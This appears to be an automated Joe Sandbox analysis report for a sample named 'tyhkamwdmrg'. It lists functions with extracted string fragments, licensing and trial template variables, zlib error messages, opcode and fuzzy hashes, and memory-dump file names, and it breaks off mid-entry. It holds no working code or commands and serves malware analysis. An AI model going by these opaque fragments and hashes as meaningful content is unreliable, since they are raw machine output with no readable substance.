Opcode ID: 6b85d97ed773db788cc7903050e992cb573d87c42fc0f173645b380a7b5a0bf3
Instruction ID: 8f8b7b80f530d58b55ab4fcd8f22a87b491718800dd19ad6ee416fe41c8c8305
Opcode Fuzzy Hash: 6b85d97ed773db788cc7903050e992cb573d87c42fc0f173645b380a7b5a0bf3
Instruction Fuzzy Hash: 201210209087DA8DDB22C6BC98487CDBFB16B67324F1843D9D0E86B3D2D7750646CB66

Function 00325E0A Relevance: 57.8, Strings: 46, Instructions: 338COMMON

Download Yara Rule

Strings

z, xrefs: 00326080
/, xrefs: 00325F88
$, xrefs: 00326286
K, xrefs: 00325FD0
%, xrefs: 0032627F
7, xrefs: 00325F40
S, xrefs: 00326018
R, xrefs: 00325E39
', xrefs: 00325FA0
!, xrefs: 00325F98
Z, xrefs: 00325FE8
&, xrefs: 00326278
1, xrefs: 00325E32
N, xrefs: 00326008
O, xrefs: 00326020
R, xrefs: 00325FC0
W, xrefs: 00325FE0
P, xrefs: 00326028
t, xrefs: 00326048
Q, xrefs: 00325FC8
z, xrefs: 00326090
:, xrefs: 00325F48
., xrefs: 00325F50
z, xrefs: 00326088
(, xrefs: 00325F38
}, xrefs: 00326038
P, xrefs: 00325E2B
~, xrefs: 00326060
], xrefs: 00325FF8
4, xrefs: 00326262
&, xrefs: 00325F60
s, xrefs: 00326040
`, xrefs: 00326068
t, xrefs: 00326070
#, xrefs: 0032628D
V, xrefs: 00325E55
3, xrefs: 00325F58
^, xrefs: 00325E1D
B, xrefs: 00326000
5, xrefs: 00325FB0
^, xrefs: 00326010
6, xrefs: 00326186
j, xrefs: 00326078
|, xrefs: 00326050
T, xrefs: 00325E47
\, xrefs: 00325FB8

Memory Dump Source

Source File: 00000000.00000002.2306940287.00000000002F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000000.00000002.2306917608.00000000002F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.0000000000332000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.0000000000343000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.0000000000488000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.000000000048D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.00000000004A8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2f0000_tyhkamwdmrg.jbxd

Similarity

API ID:
String ID: !$#$$$%$&$&$'$($.$/$1$3$4$5$6$7$:$B$K$N$O$P$P$Q$R$R$S$T$V$W$Z$\$]$^$^$`$j$s$t$t$z$z$z$|$}$~
API String ID: 0-2930930431
Opcode ID: 8be86904d7676ee186490d945107ec20d5e7c3c4bf2ba7be09bcbfe961ef67cc
Instruction ID: 53395b078b589add4cf915f03f07d6df371d16bf8fa1e85c8952f20d93d3c795
Opcode Fuzzy Hash: 8be86904d7676ee186490d945107ec20d5e7c3c4bf2ba7be09bcbfe961ef67cc
Instruction Fuzzy Hash: 64021B209087DA8DDB22C6BC98587CDBFB15F67324F1843D9D0E86B3D2C7A50646CB66

Function 00415498 Relevance: 48.2, Strings: 38, Instructions: 740COMMON

Download Yara Rule

Strings

%RegKey%, xrefs: 004155C9
%CU_EXTFILES%, xrefs: 00415734
}H, xrefs: 004155BF
%TrialExecMinsLeft%, xrefs: 00415DD3
%.2d, xrefs: 00415655, 004156B1, 00415A0B, 00415A7D, 00415B4F, 00415BC1, 00415C93, 00415D05
%TrialDaysTotal%, xrefs: 004158F8
%TrialEndYear%, xrefs: 00415C44
%AppVers%, xrefs: 00415540
%KeyExpMonth%, xrefs: 0041566F
%CU_EXECPR%, xrefs: 0041575E
%TrialStartMonth%, xrefs: 00415B72
03H, xrefs: 004157EE
%AppName%, xrefs: 00415500
%CU_WINVER%, xrefs: 004157C8
%TrialExecsLeft%, xrefs: 004158A5
43H, xrefs: 00415563
%TrialStartDay%, xrefs: 00415BE4
%HardwareID%, xrefs: 004156FF
%TrialEndMonth%, xrefs: 00415CB6
%RegName%, xrefs: 0041559F
,3H, xrefs: 004157B6
$3H, xrefs: 00415754
%TrialStartYear%, xrefs: 00415B00
%KeyExpDay%, xrefs: 004156CB
%DaysToKeyExp%, xrefs: 00415575
%CU_INSTSERV%, xrefs: 00415793
%TrialExecMinsTotal%, xrefs: 00415D7E
%KeyExpYear%, xrefs: 00415613
%TrialExpMonth%, xrefs: 00415A2E
%TrialDaysLeft%, xrefs: 0041594A
%TrialEndDay%, xrefs: 00415D28
(3H, xrefs: 00415781
}H, xrefs: 00415595
3H, xrefs: 00415722
%TrialExecsTotal%, xrefs: 00415853
%CU_VIRTTOOLS%, xrefs: 00415803
%TrialExpDay%, xrefs: 00415AA0
%TrialExpYear%, xrefs: 004159BC

Memory Dump Source

Source File: 00000000.00000002.2306940287.0000000000343000.00000040.00000001.01000000.00000003.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000000.00000002.2306917608.00000000002F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.00000000002F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.0000000000332000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.0000000000488000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.000000000048D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.00000000004A8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2f0000_tyhkamwdmrg.jbxd

Similarity

API ID:
String ID: 3H$$3H$%.2d$%AppName%$%AppVers%$%CU_EXECPR%$%CU_EXTFILES%$%CU_INSTSERV%$%CU_VIRTTOOLS%$%CU_WINVER%$%DaysToKeyExp%$%HardwareID%$%KeyExpDay%$%KeyExpMonth%$%KeyExpYear%$%RegKey%$%RegName%$%TrialDaysLeft%$%TrialDaysTotal%$%TrialEndDay%$%TrialEndMonth%$%TrialEndYear%$%TrialExecMinsLeft%$%TrialExecMinsTotal%$%TrialExecsLeft%$%TrialExecsTotal%$%TrialExpDay%$%TrialExpMonth%$%TrialExpYear%$%TrialStartDay%$%TrialStartMonth%$%TrialStartYear%$(3H$,3H$03H$43H$}H$}H
API String ID: 0-636289515
Opcode ID: 68e7f82fe60f541dc65499f4877f5056649856821dc6cf15a234a35ea6de8e99
Instruction ID: 82719fc3c26fd98c7ef73098b9f11da299dde4fde1d587752260b06da6a1d29e
Opcode Fuzzy Hash: 68e7f82fe60f541dc65499f4877f5056649856821dc6cf15a234a35ea6de8e99
Instruction Fuzzy Hash: 6A621C34A001589FDB11EB94C881FEDB7B9AF48300F5184A5E5589F366DB34EE89CF61

Function 002FB4D0 Relevance: 17.9, Strings: 14, Instructions: 422COMMON

Download Yara Rule

Strings

'Zd\, xrefs: 002FB5EC
D"]$, xrefs: 002FB59C
D"]$S.[ j*T,, xrefs: 002FB580
S.[ , xrefs: 002FB594
LurF, xrefs: 002FB7B4, 002FB8DF, 002FB95B, 002FB8D4, 002FB964, 002FB945
4N,@, xrefs: 002FB5D4
"Vjh, xrefs: 002FB604
T6GH, xrefs: 002FB5C4
M>Z0, xrefs: 002FB5B4
9J7L, xrefs: 002FB5CC
<F8X, xrefs: 002FB5E4
&R$T, xrefs: 002FB5FC
B7D, xrefs: 002FB5DC
j*T,, xrefs: 002FB660

Memory Dump Source

Source File: 00000000.00000002.2306940287.00000000002F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000000.00000002.2306917608.00000000002F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.0000000000332000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.0000000000343000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.0000000000488000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.000000000048D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.00000000004A8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2f0000_tyhkamwdmrg.jbxd

Similarity

API ID:
String ID: B7D$"Vjh$&R$T$'Zd\$4N,@$9J7L$<F8X$D"]$$D"]$S.[ j*T,$LurF$M>Z0$S.[ $T6GH$j*T,
API String ID: 0-2048021266
Opcode ID: 661bfb167f20cd72458989445f787092409b67c77b91b2c77c11459c2cec8409
Instruction ID: ff4c2b4364d6471b2671aabe0a519d1101c70f71b5bb557c13f7542cfc51ce3a
Opcode Fuzzy Hash: 661bfb167f20cd72458989445f787092409b67c77b91b2c77c11459c2cec8409
Instruction Fuzzy Hash: CBC1487265C3498BC326CF65C49127FFBE29BC1344F18893CE6D54B341C7B589158B92

Function 00307229 Relevance: 17.2, Strings: 13, Instructions: 969COMMON

Download Yara Rule

Strings

&%$#, xrefs: 003073C0
KXYZ, xrefs: 00307BEF
q$, xrefs: 00307BE7
{ r", xrefs: 00307BDF
N./, xrefs: 00307A30
$U&W, xrefs: 003078FC
?]?_, xrefs: 0030790C
\,{., xrefs: 00307BD7
$, xrefs: 00307302
ELc-, xrefs: 00307C33
#Lc-, xrefs: 00307BFE
&K%M, xrefs: 00307D98
4ijk, xrefs: 00307924

Memory Dump Source

Source File: 00000000.00000002.2306940287.00000000002F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000000.00000002.2306917608.00000000002F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.0000000000332000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.0000000000343000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.0000000000488000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.000000000048D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.00000000004A8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2f0000_tyhkamwdmrg.jbxd

Similarity

API ID:
String ID: #Lc-$$$$U&W$&%$#$&K%M$4ijk$?]?_$ELc-$KXYZ$N./$\,{.$q$${ r"
API String ID: 0-3893880327
Opcode ID: 713d46b52ebc5086ca5b7f2fc0dc037c36f110ea1856fea38941d8a656dff137
Instruction ID: 40dd5d47261be2bfba1b1af322a966c772c1d330bef3825e0b734228dce4469e
Opcode Fuzzy Hash: 713d46b52ebc5086ca5b7f2fc0dc037c36f110ea1856fea38941d8a656dff137
Instruction Fuzzy Hash: CF623931A1D3518BC725CF28C8A176BB7E2EFD5350F19896DE4CA9B290E7349901CB42

Function 00313BA0 Relevance: 14.9, Strings: 11, Instructions: 1110COMMON

Download Yara Rule

Strings

;?, xrefs: 00314FA6
z{, xrefs: 00313BFB
6<, xrefs: 00314F9B
>]1, xrefs: 00313D6B, 00313DA5
^P, xrefs: 00315188
C{, xrefs: 003153CC
V#, xrefs: 003153D7
RT, xrefs: 00315193
KH, xrefs: 003153C1
$", xrefs: 00314F90
SU1, xrefs: 0031554D

Memory Dump Source

Source File: 00000000.00000002.2306940287.00000000002F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000000.00000002.2306917608.00000000002F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.0000000000332000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.0000000000343000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.0000000000488000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.000000000048D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.00000000004A8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2f0000_tyhkamwdmrg.jbxd

Similarity

API ID:
String ID: $"$6<$;?$>]1$C{$KH$SU1$V#$z{$RT$^P
API String ID: 0-1274941715
Opcode ID: d00a20281fc5e66289f8d1567e14ff1397dfcdf4c92b857f285383f1ba06f5ff
Instruction ID: b7c94309da5f375d50d2cc7598bbc1cb7bb247f9e1c1a4dd6edb4ab176b24335
Opcode Fuzzy Hash: d00a20281fc5e66289f8d1567e14ff1397dfcdf4c92b857f285383f1ba06f5ff
Instruction Fuzzy Hash: 54C21DB520C3948AD334CF65D442BCFBAF2EBD2304F00892DD5E95B256DBB1854A8B97

Function 003138D0 Relevance: 13.7, Strings: 10, Instructions: 1172COMMON

Download Yara Rule

Strings

;?, xrefs: 00314FA6
6<, xrefs: 00314F9B
>]1, xrefs: 00313D6B, 00313DA5
^P, xrefs: 00315188
C{, xrefs: 003153CC
V#, xrefs: 003153D7
RT, xrefs: 00315193
KH, xrefs: 003153C1
$", xrefs: 00314F90
SU1, xrefs: 0031554D

Memory Dump Source

Source File: 00000000.00000002.2306940287.00000000002F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000000.00000002.2306917608.00000000002F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.0000000000332000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.0000000000343000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.0000000000488000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.000000000048D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.00000000004A8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2f0000_tyhkamwdmrg.jbxd

Similarity

API ID:
String ID: $"$6<$;?$>]1$C{$KH$SU1$V#$RT$^P
API String ID: 0-466115859
Opcode ID: 23170bb86ec9f10a343364e788e5317a4e255946269e9d257ac1568697702649
Instruction ID: e821343c21507865c25c74ea778e68176786e5ce659caf9841cd97d6cf01b924
Opcode Fuzzy Hash: 23170bb86ec9f10a343364e788e5317a4e255946269e9d257ac1568697702649
Instruction Fuzzy Hash: 4AC21EB520C3948AD330CF65D442B8FBAF2FBD2304F00891DD5E95B256DBB1864A8B97

Function 00313D10 Relevance: 13.4, Strings: 10, Instructions: 942COMMON

Download Yara Rule

Strings

;?, xrefs: 00314FA6
6<, xrefs: 00314F9B
>]1, xrefs: 00313D6B, 00313DA5
^P, xrefs: 00315188
C{, xrefs: 003153CC
V#, xrefs: 003153D7
RT, xrefs: 00315193
KH, xrefs: 003153C1
$", xrefs: 00314F90
SU1, xrefs: 0031554D

Memory Dump Source

Source File: 00000000.00000002.2306940287.00000000002F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000000.00000002.2306917608.00000000002F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.0000000000332000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.0000000000343000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.0000000000488000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.000000000048D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.00000000004A8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2f0000_tyhkamwdmrg.jbxd

Similarity

API ID:
String ID: $"$6<$;?$>]1$C{$KH$SU1$V#$RT$^P
API String ID: 0-466115859
Opcode ID: 7c5b1b184c13a6b3c71fd65280130b54674410199508bd6d248fecb5366b5bc7
Instruction ID: eb5fa67505c8422efa18f275ed1924cabf3d40cffa310d0f7e6b365b0cb978b1
Opcode Fuzzy Hash: 7c5b1b184c13a6b3c71fd65280130b54674410199508bd6d248fecb5366b5bc7
Instruction Fuzzy Hash: 81B2EBB520C3958AD330CF65D442BCFBAF2EBD2304F00891DD5E95B256DBB1864A8B97

Function 00309DE0 Relevance: 10.4, Strings: 7, Instructions: 1630COMMON

Download Yara Rule

Strings

I,~M, xrefs: 0030AEEF
79, xrefs: 0030A1CD
&%$#, xrefs: 0030AE7A
ij, xrefs: 0030A2E4
&%$#, xrefs: 0030A370
&%$#, xrefs: 00309E10
"#, xrefs: 0030A1E5

Memory Dump Source

Source File: 00000000.00000002.2306940287.00000000002F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000000.00000002.2306917608.00000000002F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.0000000000332000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.0000000000343000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.0000000000488000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.000000000048D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.00000000004A8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2f0000_tyhkamwdmrg.jbxd

Similarity

API ID: InitializeThunk
String ID: "#$&%$#$&%$#$&%$#$I,~M$ij$79
API String ID: 2994545307-4185307397
Opcode ID: 6d77b3532583e78316ba1cb983c64a67df5550eb34ab280463307f9911d3091a
Instruction ID: ae60a5dcccb0f8dd2d9feb8354066493f9c6bb82f35c53b6543a2b34510a092c
Opcode Fuzzy Hash: 6d77b3532583e78316ba1cb983c64a67df5550eb34ab280463307f9911d3091a
Instruction Fuzzy Hash: 19A25732A097409BD326CE65ECE172BFBE7ABD4310F2BC52DE58587291DA70DC418B52

Function 003022F3 Relevance: 9.3, Strings: 7, Instructions: 560COMMON

Download Yara Rule

Strings

", xrefs: 003024E6
7, xrefs: 0030238B
{, xrefs: 00302909
S, xrefs: 00302301
D, xrefs: 003024FE
,, xrefs: 00302628
K, xrefs: 003026DA

Memory Dump Source

Source File: 00000000.00000002.2306940287.00000000002F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000000.00000002.2306917608.00000000002F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.0000000000332000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.0000000000343000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.0000000000488000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.000000000048D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.00000000004A8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2f0000_tyhkamwdmrg.jbxd

Similarity

API ID:
String ID: "$,$7$D$K$S${
API String ID: 0-1324529974
Opcode ID: ba005dfb10cc2595a14a58168339a985975807fbc187309742b1b802becaeef9
Instruction ID: 9fd5e885aa5419938633fbe58ecc69e22e3154fff129659993a36382fbc9e74b
Opcode Fuzzy Hash: ba005dfb10cc2595a14a58168339a985975807fbc187309742b1b802becaeef9
Instruction Fuzzy Hash: D722F672A0D3808BC7269B38C4A53AFFBD5AB95360F194A3DD4D9C73C2DA7589418B43

Function 003058B0 Relevance: 9.1, Strings: 7, Instructions: 330COMMON

Download Yara Rule

Strings

U:g<, xrefs: 003059C6
?BCD, xrefs: 00305944
\>L0, xrefs: 0030590D
;J8L, xrefs: 0030592E
4N0@, xrefs: 00305939
{}, xrefs: 00305AC4
c6RH, xrefs: 00305923

Memory Dump Source

Source File: 00000000.00000002.2306940287.00000000002F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000000.00000002.2306917608.00000000002F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.0000000000332000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.0000000000343000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.0000000000488000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.000000000048D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.00000000004A8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2f0000_tyhkamwdmrg.jbxd

Similarity

API ID:
String ID: 4N0@$;J8L$?BCD$U:g<$\>L0$c6RH${}
API String ID: 0-1632394450
Opcode ID: bd7ec1254cc2b773422bece73061aaa3c4030ef350ba6d301d53813c3e8b6544
Instruction ID: dacaf31ed1b4c57abb90077fdea033fb1f0988eb3c2af9ea00f7a76c341c09db
Opcode Fuzzy Hash: bd7ec1254cc2b773422bece73061aaa3c4030ef350ba6d301d53813c3e8b6544
Instruction Fuzzy Hash: 02A10171909740CBD7329F24C8D17ABB7E4FF99320F058A2CE8C99B291E7749900CB96

Function 002F9FB0 Relevance: 9.1, Strings: 7, Instructions: 322COMMON

Download Yara Rule

Strings

Kt, xrefs: 002FA217
x, xrefs: 002FA18C
wh, xrefs: 002FA333
p, xrefs: 002FA0FF
39C8195501F128362D9057379CD24938, xrefs: 002FA056
Gz, xrefs: 002FA21F
tv, xrefs: 002FA32B

Memory Dump Source

Source File: 00000000.00000002.2306940287.00000000002F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000000.00000002.2306917608.00000000002F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.0000000000332000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.0000000000343000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.0000000000488000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.000000000048D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.00000000004A8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2f0000_tyhkamwdmrg.jbxd

Similarity

API ID:
String ID: 39C8195501F128362D9057379CD24938$Gz$Kt$p$wh$x$tv
API String ID: 0-2682534717
Opcode ID: 1fcea89d2800807c2823b13345d5f38d48cf941f129da67c6fad13d690691c6f
Instruction ID: fc2bbe868a1d698b2358b0d6f723a000427eb59cb6979f2c5ee381fe9d35182f
Opcode Fuzzy Hash: 1fcea89d2800807c2823b13345d5f38d48cf941f129da67c6fad13d690691c6f
Instruction Fuzzy Hash: 22B10DB161C3848BE714DF25C891A6BFBE1EF92358F04896CE5C58B282D738C50ACB57

Function 0030C8A0 Relevance: 8.4, Strings: 6, Instructions: 877COMMON

Download Yara Rule

Strings

pA, xrefs: 0030C9FA
3L, xrefs: 0030C8A1, 0030C8A3
yx, xrefs: 0030CBEE
+,, xrefs: 0030D0AB
|~, xrefs: 0030CA0A
h{, xrefs: 0030C9F2

Memory Dump Source

Source File: 00000000.00000002.2306940287.00000000002F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000000.00000002.2306917608.00000000002F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.0000000000332000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.0000000000343000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.0000000000488000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.000000000048D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.00000000004A8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2f0000_tyhkamwdmrg.jbxd

Similarity

API ID:
String ID: +,$3L$h{$pA$yx$|~
API String ID: 0-3109659525
Opcode ID: 00e0c070c504171107cd8a94f3156bef255c79c37786333836cd76cadba94143
Instruction ID: ede38ffa962c4b9c41564c01d7585d557ce0b2c81e0c21113bbad52e15e08b0c
Opcode Fuzzy Hash: 00e0c070c504171107cd8a94f3156bef255c79c37786333836cd76cadba94143
Instruction Fuzzy Hash: 7B421F725193118BD305DF28C8A156BBBE2FFD5354F09892CE4C68B3A1E779DA05CB82

Function 00308B09 Relevance: 7.2, Strings: 5, Instructions: 915COMMON

Download Yara Rule

Strings

&%$#, xrefs: 00308B30
&%$#, xrefs: 00309230
&%$#, xrefs: 00308FC0
&%$#, xrefs: 00309420
&%$#, xrefs: 00308E60

Memory Dump Source

Source File: 00000000.00000002.2306940287.00000000002F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000000.00000002.2306917608.00000000002F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.0000000000332000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.0000000000343000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.0000000000488000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.000000000048D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.00000000004A8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2f0000_tyhkamwdmrg.jbxd

Similarity

API ID: InitializeThunk
String ID: &%$#$&%$#$&%$#$&%$#$&%$#
API String ID: 2994545307-2226579566
Opcode ID: b8a9188868730ed87fef7509198431d523d1ce4c86aba59300ece975eb67dc45
Instruction ID: 31f7e2150e0519696f456182e049575830fd74f87a70bde717cb53924e33fbac
Opcode Fuzzy Hash: b8a9188868730ed87fef7509198431d523d1ce4c86aba59300ece975eb67dc45
Instruction Fuzzy Hash: BD428C33A093109BD329CF29CCE136BB7D7ABD5310F2B866ED4C557292DA709C428B91

Function 00318B2F Relevance: 7.1, Strings: 5, Instructions: 826COMMON

Download Yara Rule

Strings

W9H;, xrefs: 00318CDF
hbli, xrefs: 00319452
Gz, xrefs: 00319462
`jda, xrefs: 00319442
[[_J, xrefs: 0031945A

Memory Dump Source

Source File: 00000000.00000002.2306940287.00000000002F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000000.00000002.2306917608.00000000002F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.0000000000332000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.0000000000343000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.0000000000488000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.000000000048D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.00000000004A8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2f0000_tyhkamwdmrg.jbxd

Similarity

API ID:
String ID: Gz$W9H;$[[_J$`jda$hbli
API String ID: 0-1352382575
Opcode ID: 567ee312b29cb181473acb5196eb7e3ead6b608e6dce6c11a580c85c66104595
Instruction ID: 16b2091764f4424de8841897410a64b5e20e01e31b37212bef29853fa89e5a88
Opcode Fuzzy Hash: 567ee312b29cb181473acb5196eb7e3ead6b608e6dce6c11a580c85c66104595
Instruction Fuzzy Hash: A44242B19083418FD715CF28D8913ABB7E2FFDA304F15892DE4958B391EB749946CB82

Function 0044B05C Relevance: 6.9, Strings: 5, Instructions: 623COMMON

Download Yara Rule

Strings

unknown header flags set, xrefs: 0044B33E
invalid window size, xrefs: 0044B295
unknown compression method, xrefs: 0044B261, 0044B323
incorrect header check, xrefs: 0044B240
header crc mismatch, xrefs: 0044B751

Memory Dump Source

Source File: 00000000.00000002.2306940287.0000000000343000.00000040.00000001.01000000.00000003.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000000.00000002.2306917608.00000000002F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.00000000002F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.0000000000332000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.0000000000488000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.000000000048D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2306940287.00000000004A8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2f0000_tyhkamwdmrg.jbxd

Similarity

API ID:
String ID: header crc mismatch$incorrect header check$invalid window size$unknown compression method$unknown header flags set
API String ID: 0-3633268661
Opcode ID: bcbd3ac278913f5a57e0f86334c9e36d281ecba73252605fee854748e33e13be
Instruction ID: 6769dce12838dc8f2d99af26128f6f170a0318f774c4ae9d749f9b666b1b15ed
